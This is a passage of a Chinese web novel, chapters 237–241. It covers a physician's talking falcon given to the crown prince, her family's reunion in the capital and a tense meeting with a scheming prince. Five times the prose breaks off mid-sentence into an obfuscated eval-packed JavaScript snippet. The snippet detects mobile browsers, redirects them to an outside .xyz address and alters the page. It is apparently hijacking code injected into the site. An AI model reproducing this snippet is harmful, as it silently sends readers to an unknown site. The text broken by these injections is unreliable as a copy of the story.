“可是...可是我想爹娘了,咋办呢?”小墨抽噎着,圆溜溜的眼睛里泛着泪光。它蹭着林芷柔的手,似乎想从中汲取一些勇气。 “想家了就回来看看,”林芷柔轻声说道,“但记住,以后太子就是你的主人了。你要乖乖听话,知道吗?” 小墨眨巴着眼睛,泪水在眼眶里打转:“那里会有好喝的水和新鲜的肉吗?”它的声音还带着几分哽咽,但已经有了几分期待。 “当然有,说不定比这儿还要好呢。”林芷柔笑着点点头,“太子府上的东西,肯定比我这儿好。” 她走到书案前,提笔写了封信,又写了一份给太子的“通知”。写完后,她将两份文书仔细叠好,交给了早已等候在一旁的墨翎。 墨翎接过文书,向林芷柔行了一礼,然后朝小墨招了招手。小墨依依不舍地看着林芷柔,眼中满是不舍。 “去吧,”林芷柔轻声说道,“太子一定会好好待你的。”她的声音很轻,却带着不容置疑的坚定。 小墨最后蹭了蹭她的手:“主人,我记住了,我会乖乖的。” 林芷柔站在院中,望着小墨和墨翎。轻轻叹息,养大的小家伙终究是要离巢的。就像春天的燕子,总有展翅高飞的那一天。 青羽蹲在墙头,看着女儿,尾巴无精打采地垂着。它转头看向林芷柔:“主人,你说太子会对小墨好吗?” “会的,”林芷柔点点头,“太子不是那种苛刻的人。再说了,”她笑了笑,“小墨可是我送去的。” 青羽听了这话,总算放心了些。它跳下墙头,在院子里转了几圈,最后蹭了蹭林芷柔的脚踝:“那我去看看黑鹰老五。”说完,它一溜烟跑开了。 林芷柔看着青羽离去的背影,嘴角微微上扬。这个平日里嘴硬心软的老爹,怕是要去躲着掉眼泪了。 第二百三十七章 小墨被送给太子了 林芷柔站在庭院里,望着天空中盘旋的身影,嘴角挂着温柔的笑意。 三只鹰隼在空中翱翔,矫健的身姿划过长空,发出清亮的鸣叫。它们时而俯冲,时而盘旋,展现着令人惊叹的飞行技巧。 “小墨,别飞太远了。”林芷柔轻声提醒道,目光追随着最活泼的那只鹰隼。 小墨在空中打了个转,发出一声不满的鸣叫:“主人,我们已经不是小孩子了!” “是啊,”林芷柔微笑着摇头,“你们确实长大了。” 孩子总要长大的,就像雏鸟终有展翅高飞的那一天。她看着它们自由翱翔的身影,心中涌起一丝感慨。这片天地如此广阔,困在锦囊里反倒限制了它们的天性。 墨翎蹲在院墙上,目不转睛地看着小墨它们在高空中优雅盘旋。它的翅膀微微颤动,似乎也想加入它们的行列。 “墨翎,来我背上!”小墨俯冲而下,在墨翎头顶盘旋,“让你也感受一下在云端的感觉!” 墨翎低头看了看嘴里叼着的信件,眼中闪过一丝犹豫。它轻轻摇了摇头,发出含糊的声音:“唔...不了。” “为什么啊?”小墨不解地问道,“你看起来很想飞的样子。” 墨翎将信件往上抛了抛,示意自己还有任务在身。以它的身手,怕是经不起这般折腾。更重要的是,主人交代的信件万万不能有失。若是被外人拾去,后果不堪设想。 “那好吧,”小墨有些失望,“我陪你一起去东宫。” 林芷柔看着两只鸟儿渐渐远去的身影,转身走进屋内。书桌上摆着几封未拆封的信件,都是来自边陲的消息。她修长的手指轻轻拂过信封,眼中闪过一丝担忧。 东宫方向,暗卫们看到这一幕都惊呆了。他们躲在暗处,窃窃私语。 “那不是上次那只乌鸦吗?”一个年轻的暗卫指着墨翎说道。 “嘘,小声点,”旁边的同伴拉了他一下,“那是太子殿下的密信使者。” “咦,还带了个伙伴来?”另一个暗卫惊讶地看着小墨。 “那是鹰隼吧?”有人认出了小墨的品种,“谁家的鹰隼这么通人性?居然和乌鸦做伴。” “肯定不简单,”年长的暗卫压低声音,“最近宫里不太平,大家都机灵点。” 书房内,司马宁正在翻阅典籍。窗外传来翅膀扇动的声音,他抬起头,看到墨翎稳稳地落在窗台上。但当那只英姿飒爽的鹰隼也跟着进来时,他的动作顿住了。 阳光从窗外斜射进来,在地上投下两道交错的鸟影。司马宁放下手中的书卷,嘴角勾起一抹笑意:“呦,小家伙还带朋友来了?” 墨翎没理会他的调侃,轻巧地跳到案几上,将嘴里的信件轻轻放下。它的动作熟练而优雅,显然已经做过无数次这样的差事。 小墨好奇地打量着这间书房。檀木书架上摆满了典籍,案几上的砚台还残留着墨香,一切都透着书卷气。最后,它的目光落在司马宁身上。 “这就是太子?”小墨歪着脑袋问道。 墨翎点头:“对,以后就是你的新主人了。” “看着不怎么样啊,”小墨毫不客气地评价道,“比我们家主人差远了。” “是啊,”墨翎难得附和道,“哪比得上楚将军那般威武。” 司马宁完全不知道自己已经被两只鸟儿给评头论足了一番。他专注地拆开信件,发现里面有两张纸条。一张是林芷柔熟悉的字迹,另一张却是用炭笔写就,虽然模糊,但那潇洒的笔势他一眼就认出是谁的手笔。 “见字如面,魏王一路设伏,皆已清除。星河安好,勿念。” 简短的几个字,却让司马宁的心绪久久难平。他的手指微微颤抖,眼中闪过复杂的情绪。 星河是他最知心的挚友,从小一起长大,情同手足。却因魏王的算计被贬至边陲。而他这个太子,却只能眼睁睁看着好友蒙冤。 魏王的野心昭然若揭,却偏偏无人能制。朝中大臣或是被收买,或是被威胁,竟无一人敢站出来说话。如今居然还敢在路上设伏,妄图加害楚家父子。 司马宁冷笑,魏王怕是打错了算盘。以林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023052|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芷柔的本事,这些伎俩不过是班门弄斧罢了。 他展开林芷柔的信件,仔细阅读起来。信中详细记录了路上遇到的埋伏,以及她是如何化解的。字里行间透着一股从容不迫的气度,仿佛这些危机不过是闲暇时的消遣。 原来这只鹰隼是楚星河特意为他训练的。不仅如此,林芷柔那里还有两只。每一只都经过精心挑选和训练,不仅机敏聪慧,还能准确传递信息。 司马宁心中一暖。这对夫妻处处为他着想,知道他身在宫中多有不便,便送来这样一份独特的礼物。在这个人心叵测的皇宫里,能有这样的朋友,实在是难得。 他走到墨翎面前,轻声说道:“去告诉林大夫,另外两只鹰隼我也要了。” 墨翎看了眼小墨:“你的两个哥哥很快就来陪你了。” 说完,它便振翅飞走了。阳光下,它的身影渐渐消失在远处的天际。 小墨目送墨翎离开,然后大摇大摆地跳上椅子,把司马宁看得一愣:“你还会坐椅子?” 小墨不屑地瞥了他一眼,心想:这人怎么这么啰嗦,难道椅子上写着鸟不能坐?它抖了抖羽毛,摆出一副高傲的姿态。 司马宁见它神态,不禁莞尔:“要不要给你换个威风点的名字?” “不行!”小墨顿时炸毛,羽毛根根竖起,“这是主人给的名字,谁也不能改!” 司马宁举手投降:“好好好,不改不改。”他走到窗前,望着远处的天际,若有所思。魏王的势力正在不断扩大,朝中局势愈发复杂。但有了这些忠实的小帮手,或许能打开一些局面。 小墨见他发呆,忍不住问道:“你在想什么?” 司马宁回过神来,笑着摇头:“没什么,只是在想以后该怎么报答你们的主人。” “那简单,”小墨理了理羽毛,“你好好当你的太子就行了。主人说了,你是个好人,值得我们帮助。” 司马宁愣了一下,随即笑了起来。这只鸟儿虽然说话直接,但心思单纯。或许正是因为这份单纯,才能如此忠诚地追随主人。 第二百三十八章 林家人来了 司马宁看着小墨摇头的模样,不禁莞尔。 “这只鹰隼就由你照顾了。”他转向一旁的小太监华谦,语气温和却不容置疑,“别限制它的自由,有事它会自己找你。对了,它叫小墨。” 华谦从小就跟在太子身边,此刻见了小墨,眼中闪烁着掩饰不住的欢喜。他躬身应道:“奴才明白,定当好生照料。” 小墨高傲地斜睨了华谦一眼,迈着优雅的步子走到书房门口。阳光下,它的羽毛泛着金属般的光泽,展翅一跃,便消失在蔚蓝的天际。它要找最高的树梢,守望着主人的住处,等待同伴们的到来。 墨翎回去后,林芷柔立刻让她将黑鹰老五也带了出来。这些灵兽放在锦囊里也是浪费,送给楚星河这个挚友再合适不过。她望着窗外发呆,思绪纷飞,想着明天给惜柳动手术的事。得想个万全之策支开西七才行,否则这事怕是难办。 “柔柔!”熟悉的呼唤声打断了她的思绪。 她循声望去,只见一群人正向她走来。林山走在最前面,身旁是柳雅芝,后面跟着林文昂、楚涵凤、林巧巧、林文涛和林文柳。 “大姑姑!”一个稚嫩的声音传来。林文昂的女儿澜儿松开柳雅芝的手,像只欢快的小鸟般跑了过来,“澜儿想死你啦!” 小丫头梳着两个可爱的小揪揪,身着粉色棉衣,脸蛋红扑扑的,活脱脱一个粉雕玉琢的小人儿。看着她天真烂漫的模样,林芷柔不由得想起了阳阳,不知道师徒俩现在怎么样了。 她蹲下身接住扑来的澜儿,将小丫头抱在怀里:“宝贝,大姑姑也在惦记你呢。” 众人自然而然地找地方坐下,林芷柔却站起身来:“咱们回家说话吧,今天可真是好事连连。” “柔柔,你在这边买了房子?”林山望着女儿,眼中满是思念与关切,“我们昨晚才到,暂住在城外庄子上。听说你在城南开了家仁心医馆,就赶紧来找你了。” “你这医馆可真出名。”柳雅芝笑着接话,眼角的皱纹里盛满慈爱,“我们一问,人人都争着给指路呢。” 楚涵凤打趣道:“那是自然,咱们柔柔医术了得,又真心实意为百姓办事,能不出名吗?” 林芷柔心里一暖,家人之间还是这般自然随意,没有谁看轻她,也没有谁阿谄奉承。春日的阳光洒在身上,暖洋洋的,就像此刻的氛围。 “姐,我们也想在城南买处院子,你可认识靠谱的牙行?”林文昂一边说着,一边接过蹦蹦跳跳的女儿。 “有,明天带你们去逛逛。”林芷柔目光一转,注意到林巧巧神色恹恹,伸手探了探她的额头,“巧巧,不舒服?” “没事姐,就是有点累。”林巧巧勉强扯出一抹笑容,脸色却略显苍白。 一行人说说笑笑,很快到了林芷柔家。推开院门,庭院内花木扶疏,一派生机盎然。 屋内,顾馨巧和赵氏正红着眼圈看信。虽然楚星河只在信中说了些好话,但她们都明白,这一路定是历经艰险。字里行间透露出的担忧,让两位母亲心疼不已。 楚星澜也陪着她们默默落泪,时不时轻声安慰几句。院子里传来脚步声,三人连忙起身迎了出去。 “亲家!”顾馨巧一见柳雅芝,立刻扑上去抱住她痛哭,“真没想到你们来帝都找我们了!”往事如潮水般涌来,让她再也控制不住情绪。 “可不是,柔柔在哪,我们就得跟到哪。”柳雅芝也红了眼圈,声音哽咽,“她可是我们的定海神针呢。” 两位母亲相拥而泣,回忆起在云州的日子。那时候,她们常常一起带孩子,互相照应,日子虽然清贫,却充满欢声笑语。如今天各一方,没想到又在帝都重逢。 “柔柔待我们很好,要不是她,我们可能真要流落街头了。”顾馨巧抹着眼泪,说起楚家老夫人不让她们进门的事,声音里带着几分苦涩。 柳雅芝心知肚明,轻声安慰:“有柔柔在,不会有事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16023053|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。咱们都要好好的。” 赵氏见状赶紧去泡茶,林芷柔则从柜子里取出上好的茶叶。院子里,澜儿牵着林巧巧的手,蹦蹦跳跳地四处张望。 “大姑姑,弟弟呢?”澜儿忽然问道,“怎么没看见阳阳?我想跟他玩。” 顾馨巧闻言看向林芷柔,眼圈又红了。屋内一时寂静无声,连鸟儿的啁啾声都显得格外清晰。 “娘,阳阳我送走了。”林芷柔轻声说道,声音里带着说不清的情绪。 “什么?”林山猛地站起,茶杯在桌上发出清脆的响声,“送去哪了?那人靠得住吗?阳阳还这么小,为什么要送走他?” 屋内气氛瞬间凝重起来。林芷柔看着父亲焦急的面容,心中五味杂陈。她知道,接下来要说的话,恐怕会让所有人都难以接受。但事已至此,她别无选择。 “爹,您先别急。”她深吸一口气,“阳阳现在很安全,他跟着一位德高望重的师父学艺。这是他的造化,也是最好的安排。” “什么师父?”林山追问道,眉头紧锁,“你怎么能随便把孩子交给陌生人?” 柳雅芝拉住丈夫的手,示意他冷静:“柔柔向来稳重,她既然这么安排,必有她的道理。” “是啊,大哥。”林文昂也出声劝道,“柔柔不会害阳阳的。” 林芷柔看着眼前关切的亲人们,心中一阵酸涩。她何尝不想把阳阳留在身边?但为了孩子的安全,为了让他有更好的未来,这个决定她不得不做。 “爹,娘,各位。”她环视一周,“阳阳的事,容我慢慢解释。现在你们先歇歇,我让人准备午饭。” 赵氏见状,赶紧招呼大家坐下。澜儿似乎察觉到气氛不对,乖巧地依偎在母亲身边,不再问阳阳的事。 林芷柔转身走向厨房,背影略显疲惫。她知道,关于阳阳的解释只是开始,还有更多的事情等着她去面对。但此刻,她只想好好招待这些远道而来的亲人。 第二百三十九章 魏王 林芷柔站在医馆门口,望着远处的街道,心中泛起一丝苦涩。阳阳被送走的事情,让她心里始终放不下。每每想起那张稚嫩的小脸,胸口就像压着一块巨石。可眼下这种情形,也只能如此了。 医馆里传来器皿碰撞的声响,打断了她的思绪。转身望去,只见柳雅芝正在整理药柜,手上的动作却显得心不在焉。 “柔柔...”柳雅芝放下手中的药罐,欲言又止地看着女儿,“你这孩子到底是怎么想的?阳阳那么小,怎么能说送走就送走...” 话音未落,眼眶已经泛红。作为外婆,她对这个小外孙疼爱有加,突然的分离让她难以接受。 “娘,我也是没办法。”林芷柔扯出一抹苦笑,指节不自觉地扣紧了衣袖,“青霞山的云**愿意收他为徒,这是难得的机缘。” 柳雅芝摇着头,眼泪顺着脸颊滑落:“可是那孩子才这么点大,离开娘亲怎么受得了?” “再说星河不在家,我又要忙着打理医馆,实在分身乏术。”林芷柔垂下眼帘,掩去眼中的复杂情绪。 一旁的林山叹了口气,拍了拍妻子的肩膀:“既然碰上了好师傅,那就随他去吧。只是这孩子,走得太急了些。” “大姐,那青霞山到底在哪儿啊?”林文柳挠着头问道,眼中满是好奇,“听说那里有不少神仙高人。” “你问这个做什么?”林文涛没好气地白了弟弟一眼,“想拜师?人家是阳阳的师父,你是阳阳的舅舅,这辈分都乱了。” 楚涵凤抱着自己的女儿澜儿,默默注视着林芷柔。阳光透过窗棂,在她脸上投下细碎的光影,却遮掩不住那份疲惫。 作为一个母亲,楚涵凤无法想象,要是让自己送走孩子,该有多痛心。可大姑姐却像没事人一样,每天忙着看诊,脸上总挂着笑容。只是那笑容背后,藏着多少无奈与心酸? 林芷柔察觉到楚涵凤的目光,心中一阵苦笑。她何尝不想留住阳阳,可形势所迫,不得不这样做。帝都暗流涌动,她必须保护好这个孩子。 一旁的林巧巧神色恍惚,双手不断地交缠在一起。她的心思早已飘到了远方。 五岁那年的大火,母亲拼死相救的场景,至今历历在目。火光冲天,浓烟滚滚,母亲用尽最后一丝力气,将她从狗洞推出。 “巧巧,记住!你父亲是魏王府的副将孔福远...”母亲最后的话语,始终萦绕在耳边,如同一把利刃,日日楚楚剜着她的心。 十多年过去,当年那个从狗洞里爬出来的小女孩,如今已经长大。可仇恨的种子,却在心底生根发芽,开出了血色的花。 林芷柔注意到妹妹的异样。自从来到帝都,林巧巧就总是心事重重,眼神中时常闪过一丝阴郁。只是眼下还有更要紧的事要处理,她暂时无暇顾及。 第二天,林山一家去牙行看院子。林芷柔让西七陪着,自己则和林巧巧留在医馆看诊。 医馆来往的病人络绎不绝。林巧巧坐在内室配药,手法娴熟,动作利落。 “这位就是林大夫的妹妹啊?”一位老婆婆笑眯眯地问道。 “听说是云州仁心医馆的小林大夫。”旁边有人答道。 “那敢情好,以后看病更方便了。两位大夫都是女子,我们妇道人家看病也方便。” 百姓们议论纷纷,对多了位大夫都很高兴。林芷柔一边给病人把脉,一边听着外面的议论声,嘴角不自觉地扬起一抹笑意。 正看着诊,外面突然安静下来。一辆华贵的马车停在了医馆门口,车轮碾过青石板,发出沉闷的声响。几个黑衣人开路,百姓们纷纷避让。 掀开绣着金线的车帘,魏王司马川走了下来。他一身玄色锦袍,腰间玉带流光溢彩,举手投足间尽显贵气。 林芷柔眸光一冷。这位魏王,终于按捺不住,要摆到明面上来了吗? “林大夫。”司马川含笑看着一身白衣的林芷柔,目光如水般温和,“听闻令郎拜师青霞山,特来道贺。” 他心中暗自盘算。太子现已被禁足,云陵伯府也被打压,发连珠弓的图纸也已送回都城。一切都在按照计划进行。 只要玄冥大军一到,云州就会投降。到时他再寻机会逼宫,就能名正言顺地登上大位。 唯一的变数,就是眼前这位东吴的安国公主。若能将她拿下,让东吴在关键时刻相助,那简直再完美不过了。 “王爷说笑了。”林芷柔淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16030042|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡道,“小儿有幸拜入青霞山门下,确实是天大的福分。” 司马川眼中闪过一丝精光:“林大夫说得是。不过这青霞山地处偏僻,路途遥远,若是想念孩子,本王可以派人护送你前去探望。” 林芷柔心中冷笑。这魏王,打的什么主意,她岂会不知? “多谢王爷好意。”她微微一笑,“只是医馆事务繁忙,暂时走不开。等过些时日,再做打算不迟。” 司马川正要说话,忽见一个小厮匆匆跑来,在他耳边低语几句。 内室里,林巧巧手中的药碗差点摔落。她死死盯着魏王离去的背影,指甲深深掐进掌心。 十五年了,她终于见到了仇人。那张温和的面具下,藏着怎样的狰狞,她再清楚不过。 林芷柔坐在诊桌后,手指轻轻敲击着桌面。 诊室外传来一阵骚动,接着是百姓们不甘的抱怨声和官差驱赶的呵斥声。她抬眼望去,只见几个身着锦衣的侍卫正粗暴地将等候看病的百姓赶出医馆。 “大人,我家孩子发烧三天了,求您行行好......” “滚开!魏王殿下要见林大夫,闲杂人等速速离开!” 林芷柔眉头微皱,手中的朱砂笔在药方上顿了顿。她身旁的林巧巧神色紧张,不安地看向大门。 脚步声由远及近,一袭紫色锦袍的男子缓步走进诊室。他面容俊朗,举止优雅,嘴角挂着若有若无的笑意。 “林大夫,久仰大名。”魏王在椅子上坐下,目光在诊室内扫视一圈,最后落在林芷柔身上。 林芷柔不动声色地放下手中的笔:“魏王殿下亲自来访,有失远迎。不知殿下身体可是有什么不适?” “本王身体很好。”魏王轻笑一声,“只是听闻林大夫医术高明,特来拜访。” “是吗?”林芷柔语气平淡,“我看魏王气色红润,确实不像是有病的样子。既然如此,不如让在外等候的百姓先进来看诊?” 魏王眼中闪过一丝不悦,但很快又恢复如常:“林大夫这是在责怪本王打扰你看诊?” “不敢。”林芷柔微微一笑,“只是觉得魏王既然没病,不如让真正需要医治的百姓先看诊。” 第二百四十章 又见仇人 柜台后的林巧巧紧张地攥着衣角。她清楚地记得,就是眼前这个男人,害**张家满门。那天晚上的惨叫声至今还在她耳边回响。 魏王端起茶杯,轻轻抿了一口:“林大夫说话还是这么直接。不过,本王今日来访,确实另有要事相商。” “哦?不知魏王有何见教?” “本王听闻,林大夫并非普通大夫。”魏王意味深长地说道,“东吴安国公主的身份,可不是一般人能有的。” 林芷柔手指微顿,眼底闪过一丝雨柳。诊室内的气氛瞬间凝重起来。 “魏王这是什么意思?” “别紧张。”魏王放下茶杯,“本王只是想与林大夫谈一笔交易。” “交易?”林芷柔冷笑,“我一介平民,有什么资格与魏王殿下做交易?” “林大夫何必如此谦逊?”魏王站起身,在诊室内踱步,“以你的身份地位,完全可以助本王一臂之力。” 林芷柔目光如炬:“所以,魏王是来威胁我的?” “威胁?”魏王摇头轻笑,“本王只是在提供一个双赢的机会。你我联手,对付玄冥时就多了一张王牌。” “呵。”林芷柔冷笑出声,“魏王觉得,以你的身份地位,真的能威胁到东吴的安国公主吗?” 她直视着魏王的双眼,目光凌厉如刀。魏王被她的眼神震慑,不由自主地移开视线。 “我舅舅可是东吴皇帝,魏王确定要与我为敌?” 空气仿佛凝固了几秒。 “林大夫好气魄。”魏王眼中闪过一丝阴鸷,“不过,你真以为东吴皇帝能保护得了你?这里可是玄冥,不是东吴。” “那又如何?”林芷柔站起身,居高临下地看着魏王,“你以为我会怕你?” 魏王眼中寒光一闪:“林大夫,有些事情点到为止就好。本王今日来访,是给你一个机会。你若不知好歹......” “那又如何?”林芷柔打断他的话,“要学张家那样,灭我满门吗?” 魏王脸色一变:“你......” “魏王不必否认。”林芷柔冷笑,“张家的事,我早就查清楚了。只是时机未到,暂且饶你一命罢了。” 魏王眼中杀意涌动,但很快又压了下去。他深吸一口气,恢复了优雅的姿态。 “林大夫果然不简单。”他意味深长地说道,“不过,本王劝你还是好好考虑一下。有些事情,知道太多并不是好事。” 说完,他转身离开,紫色锦袍在阳光下泛着冷冽的光。 林芷柔看着他离去的背影,眼中闪过一丝冷意。这个男人不会轻易放弃,必须尽快采取行动。 “巧巧。”她转头对林巧巧说道,“今晚让老七去探查魏王府库房的位置。” “姐姐,这......”林巧巧担忧地看着她。 “放心。”林芷柔眼中闪过一丝坚定,“我不会让他得逞的。只要掏空他的钱库,就能打击他的野心。没有了金钱支撑,再大的野心也只能成为泡影。” 她走到窗前,看着外面熙熙攘攘的街道。魏王的到访,预示着暴风雨即将来临。但她不会退缩,既然对方先动手,那就别怪她不客气。 夕阳西下,最后一缕阳光透过窗棂,在她脸上投下细碎的光影。诊室内渐渐暗了下来,但她的眼神依旧明亮如炬。 这场博弈,才刚刚开始。 库房失窃的消息让魏王焦头烂额,他匆匆离去的背影透着几分狼狈。林芷柔站在原地,目光冷冽如霜,手指无意识地摩挲着桌面。 “大姐......” 熟悉的声音从身后传来,林芷柔收敛了眼中的雨柳,转身看向林巧巧。妹妹站在那里,双手不安地绞在一起,眼神闪烁。 “坐吧。”林芷柔指了指魏王方才坐过的位置。 林巧巧犹豫了一下,还是在椅子上坐了下来。她的目光游移不定,时而看向院子里的落叶,时而又低头盯着自己的手指。 “这些日子,你总是心不在焉的。”林芷柔给她倒了杯茶,“有什么事,不妨说出来。” 热气袅袅升起,在空中缓缓散开。林巧巧握着茶杯,指尖因用力而泛白。她环顾四周,确定无人注意这边,这才压低声音道:“大姐,我其实是帝都人。” 林芷柔的手顿了顿,却并未表现出太多惊讶。她静静地看着林巧巧,等待下文。 “十年前......”林巧巧的声音有些哽咽,“我家原本在帝都经营布庄,生意还算红火。可是有一天,魏王看上了我家的铺子......” 说到这里,她的眼眶已经泛红,泪水在眼中打转。 “他派人来要买下铺子,可我父亲不愿意。那铺子是祖上传下来的,一直都是我们家的根基。”林巧巧深吸一口气,努力平复情绪,“可是第二天,我们全家就被抓进了大牢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16030043|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们说我们勾结山云势力,图谋不轨......” 林芷柔的眼神渐渐深邃,仿佛在回忆什么。 “三十多口人,全都......”林巧巧说不下去了,泪水终于夺眶而出,“只有我和表哥逃了出来。表哥把我送到乡下,自己却再也没有回来......” “所以,你是想报仇?”林芷柔轻声问道。她的语气平静得有些不同寻常。 “是!我要杀了魏王!”林巧巧咬牙切齿地说,指甲深深陷入掌心。 “傻丫头。”林芷柔摇了摇头,伸手替她擦去脸上的泪水,“就凭你现在的本事,连魏王府的大门都进不去。” “那我该怎么办?我做梦都想看到他死!” “不急。”林芷柔拍了拍她的手,“想要魏王死的人多着呢,我也是其中之一。” “大姐,你为什么......” “这个不用问。”林芷柔打断她的话,眼底闪过一丝晦暗不明的情绪,“记住,魏王的好日子不会太久了。” 林巧巧愣愣地看着她,似乎没想到大姐会这么说。院子里的风吹过,带起一阵落叶,在空中打着旋儿飘散。 这时,西七和楚星澜从外面走了进来。西七穿着一身青色长衫,腰间别着一个药囊,整个人看起来清瘦斯文。而楚星澜则一身淡紫色裙装,举手投足间带着几分大家闺秀的气质。 “如果哪天我被魏王的人带走,你就告诉城南的百姓,让他们去魏王府要人。”林芷柔对西七说道,目光意味深长,“记住,不要跟侍卫动手。” 西七恭敬地点头:“我明白。” “那些穴位都记住了吗?” “都记住了。” 林芷柔注意到西七看向楚星澜的眼神。那里面藏着掩饰不住的爱慕,却又带着几分自卑和犹豫。这个傻小子,怕是动了心思。 楚星澜正和林巧巧说着话,笑靥如花,浑然不觉西七的目光。 “下午有个女病人要做手术,你就不用来了。”林芷柔对西七说。 西七点点头,临走前又忍不住看了眼楚星澜。他的背影有些落寞,却又带着几分倔强。 林芷柔叹了口气。这个西七,怕是要栽在星澜手上了。以他的身份,想要娶夜家的女儿,几乎是不可能的事。 不过也好,至少能让这个心思重的小子多些人间烟火气。只要楚星澜不动心,一切都不会有问题。 第二百四十一章 惜柳做手术 夜色渐渐暗了下来,远处传来零星的更声。林芷柔站在院子里,看着天边最后一抹晚霞。她的眼神深邃,仿佛在思考着什么。 魏王府的库房失窃,这或许是个机会。她等这一天已经等了太久,久到有时候连她自己都快忘了最初的目的。 但每当夜深人静的时候,那些往事就会如潮水般涌来。她闭上眼睛,脑海中浮现出一张张熟悉的面孔。那些人,那些事,都已经成了她心底最深的伤痕。 “大姐?”林巧巧的声音从身后传来,“你在想什么?” “没什么。”林芷柔转过身,脸上已经恢复了往日的平静,“去休息吧,明天还要早起。” 林巧巧点点头,转身离去。她的背影在昏暗的灯光下显得有些单薄。 林芷柔站在原地,久久没有动。院子里的梧桐树依旧沙沙作响,仿佛在诉说着什么。 惜柳准时来到了仁心医馆,晨光熹微中,医馆门前已经排起了长队。她轻轻推开门,迎面撞上了正要开门的林芷柔。 “来得正好。”林芷柔拉住她的手,眼中闪过一丝关切,“昨晚睡得还好吗?” 惜柳摇摇头,眼底带着淡淡的乌青:“睡不着,一直在想手术的事。” “别担心,有我在。”林芷柔安抚地拍了拍她的肩膀,转头对楚星澜说道:“你先回去写话本子吧,这边我来处理。” 楚星澜欲言又止,最终还是点点头离开了。她刚走出几步,又回过头来:“柔柔姐,惜柳姐...要是有什么需要帮忙的...” “知道了,”林芷柔笑着挥手,“快去吧,别耽误你的大作。” 锦囊里,萤萤已经将手术用具一一摆放整齐。明亮的光线下,玉针闪着冰冷的光芒,惜柳的心跳不由自主地加快了。 “深呼吸,放松。”林芷柔一边准备麻药,一边轻声安慰,“想想手术成功后,你就能好起来了。” 手术持续了整整五个小时。当惜柳从麻醉中醒来时,已是午后。阳光透过窗棂洒在床边,林巧巧正坐在一旁打盹。 “水...”惜柳艰难地开口,嗓子干得发疼。 林巧巧一个激灵醒来,连忙端来温水:“慢点喝,不急。” 门外传来一阵急促的脚步声,楚星澜推门而入,手里还拿着写到一半的话本。看到惜柳醒来,她眼眶一红:“可算醒了,吓死我了。” “这丫头,”林巧巧笑着摇头,“从早上就往这边跑了好几趟。” 西七被安排去和老乞丐们同住。医馆里都是女眷,让一个大男人留在这里确实不太合适。吕帮主来找过他好几次,希望他能回何家,但每次都被西七断然拒绝。 “我宁愿睡大街,也不会回那个地方。”西七咬牙切齿,眼中满是厌恶,“吕家对我来说,就是耻辱。” 这段日子,西七发现自己对楚星澜的心意越发深沉。每当看到她伏案写作的身影,心里就像被什么东西轻轻撩拨。有时她会边写边掉眼泪,那副楚楚可怜的模样让他既心疼又好笑。 他想上前安慰,却又不知该说什么,只能远远地守在一旁。偶尔她抬头,两人目光相接,西七总是慌乱地移开视线,装作在看风景。 麻西浪整天蹲在医馆门口发呆,像个无所事事的游魂。林芷柔看不下去,便让西七教他些功夫,也好让他振作起来。 “不是这样,”西七纠正麻西浪的姿势,“马步要扎得更稳,重心要下沉。” 麻西浪满头大汗:“这样蹲着,腿都要断了。” “坚持住,练武没有捷径。”西七严厉地说,“想想你的目标。” 四天后的清晨,一辆华贵的马车停在了医馆门前,车厢上绣着魏王府的徽记。 “林大夫,我家王爷请您即刻入府诊治。”随行的公公拱手道。 正在排队的百姓顿时骚动起来。 “不行!林大夫还要给我们看病呢!” “对!来了就得排队,谁也不能例外!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 